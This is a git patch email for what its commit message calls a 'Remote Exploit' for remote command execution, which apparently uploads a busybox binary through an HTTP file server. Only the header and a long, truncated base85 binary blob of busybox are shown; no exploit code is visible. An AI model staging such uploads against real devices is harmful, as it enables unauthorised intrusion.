From d3c0c58fe9aca57029ce5596754f1df8115c9a71 Mon Sep 17 00:00:00 2001 From: Thomas Behrend Date: Sun, 30 Oct 2022 21:55:28 +0100 Subject: [PATCH 1/7] Initial Commit for Remote Exploit, execution is not working, upload does --- extras/busybox/busybox | Bin 0 -> 172543 bytes http_file_server.py | 35 ++++ remote_command_execution_vulnerability_v2.py | 175 +++++++++++++++++++ script_v2.sh | 68 +++++++ 4 files changed, 278 insertions(+) create mode 100644 extras/busybox/busybox create mode 100644 http_file_server.py create mode 100644 remote_command_execution_vulnerability_v2.py create mode 100644 script_v2.sh diff --git a/extras/busybox/busybox b/extras/busybox/busybox new file mode 100644 index 0000000000000000000000000000000000000000..f478a1180989008987844c62afb7a918748331e7 GIT binary patch literal 172543 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 